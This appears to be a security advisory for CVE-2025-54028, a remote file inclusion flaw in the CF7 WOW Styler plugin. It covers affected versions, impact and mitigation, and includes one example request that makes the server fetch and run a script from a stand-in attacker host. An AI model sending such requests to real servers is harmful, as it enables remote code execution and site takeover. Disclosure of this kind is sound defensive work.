Overview
The CVE-2025-54028 vulnerability is a critical security flaw that affects the Saleswonder Team Tobias CF7 WOW Styler. This vulnerability, due to improper control of filename for include/require statement in PHP program, could potentially lead to system compromise or data leakage. As this vulnerability has a severity score of 7.5, understanding and mitigating it is of utmost importance for organizations using this software.
Vulnerability Summary
CVE ID: CVE-2025-54028
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
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Product | Affected Versions
Saleswonder Team Tobias CF7 WOW Styler | up to 1.7.2
How the Exploit Works
The vulnerability exists because the Saleswonder Team Tobias CF7 WOW Styler does not properly control the filename for include/require statement in its PHP program. This can allow an attacker to include files from remote servers. The attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process. This could lead to a full compromise of the vulnerable system.
Conceptual Example Code
Below is a conceptual example of how an attacker could exploit this vulnerability:
GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is including a malicious script hosted on their own server (`attacker.com`) in the request, which the server then executes due to the improper handling of the `file` parameter.
Mitigation
All users of the affected software are strongly encouraged to apply the vendor patch as soon as it becomes available. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.
